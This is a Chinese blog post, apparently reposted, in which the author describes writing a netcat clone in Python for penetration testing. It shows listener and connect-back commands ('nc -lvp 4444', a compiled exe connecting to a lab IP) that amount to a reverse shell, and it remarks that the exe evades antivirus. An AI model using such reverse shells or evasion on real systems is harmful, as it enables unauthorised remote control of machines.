python编写nc的思考

0x00前言发现自己学习python已经有半个月了,也开发了自己的一些渗透的小脚本,但觉得还是不够,我个人觉得工具和脚本还有框架是个本质上的区别。脚本的话,不会考虑到其他的一些因素,例如报错和交互

大家好,又见面了,我是全栈君,祝每个程序员都可以多学几门语言。

0x00 前言

发现自己学习python已经有半个月了,也开发了自己的一些渗透的小脚本,但觉得还是不够,我个人觉得工具和脚本还有框架是个本质上的区别。脚本的话,不会考虑到其他的一些因素,例如报错和交互性。要是有的话可能还要在工具里面修改到一些参数,然后才能进行使用。简单点来过脚本给我的概念就是编写出来能用就行。而工具具有的是一些交互性让对方输入自己想要的命令或者说参数,然后执行不需要频繁改代码再使用。还有的就是容错率,对应工具来说一些因为参数输入不正确,直接爆出一片红的,这个对用户来说并不是很友好,并且报错的话程序也会立即停止。这里再来说到框架,框架这个容错率和交互性肯定不用说了,这个是必备的,框架还必须具备的功能的齐全性和可移植性。

 

0x01 工具开发

在年初就一直计划着用python来编写个nc,但一直没有去实现,当时也买了本python黑帽子回来看,但由于python黑帽子是基于2.7版本的。python2.7和python3.7有很大的差异,后面也没有找到几个编写nc的书籍来做参考,所以当时的想法就破灭了。近几天来奇怪的想法又产生了,就使用了python3来编写这个nc,其实nc的编写非常简单也就是socket通讯,然后接受执行命令,执行的结果返回给我们的服务端。说白了也就是socket的通讯模型,只不过加了个执行命令的模块把执行结果给返回了。在后期想把这个nc再进行优化,例如可以完善成一个渗透框架,接受多个会话并且自由切换会话,设置心跳,上传下载功能,并且多个通讯隧道,打造成一个python版cs,python写的工具编译成exe程序的免杀效果 除了文件大了点外,还是很可观的。

使用kali进行nc监听

nc -lvp 4444

然后来到python 版本nc这边使用python_nc去连接

nc.py -i 192.168.3.39 -p 4444

 

python编写nc的思考

 

 

 命令执行成功,但是由于这里是因为编码的问题会乱码,kali里面改成gbk的编码就ok了。

 

这里再来测试他的服务端。

python_nc 改成监听模式

nc.py -l 4444

这里直接把python编译成exe,然后去我的win7进行操作,这里的demo的,只有客户端去连接的功能,用的是sys去接收,命令参数还没写,这里为了方便,用他来做个演示。

demo.exe 192.168.3.13 4444

这时候我们就可以在服务端来输入命令了

python编写nc的思考

 

因为在昨天去调试的时候python提示编码错误,在 打印的地方加多个encoding=’GBK’,使用gbk编码就好了。能成功输出中文。

这里是没问题的,但是如果输入不正确的命令的话,就会直接报错并且停止。在后来去找了一些原因是因为使用了 subprocess.check_output这个函数来执行命令,所以才会出现这种问题。这个函数

执行命令,如果状态码是0,则返回执行结果,否则抛出异常。再后面也会逐步去完善功能。

 

在下面给各位师傅们贴出github地址,有什么问题或者说建议的话也可以和我探讨。

github:https://github.com/nice0e3/python_nc/

0x02 结尾

在末尾,给大家贴张表情包。

python编写nc的思考

 

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

发布者:全栈程序员-用户IM,转载请注明出处:https://javaforall.cn/119965.html原文链接:https://javaforall.cn

【正版授权,激活自己账号】: Jetbrains全家桶Ide使用,1年售后保障,每天仅需1毛

【官方授权 正版激活】: 官方授权 正版激活 支持Jetbrains家族下所有IDE 使用个人JB账号...

(0)
blank

相关推荐

发表回复

您的电子邮箱地址不会被公开。

关注全栈程序员社区公众号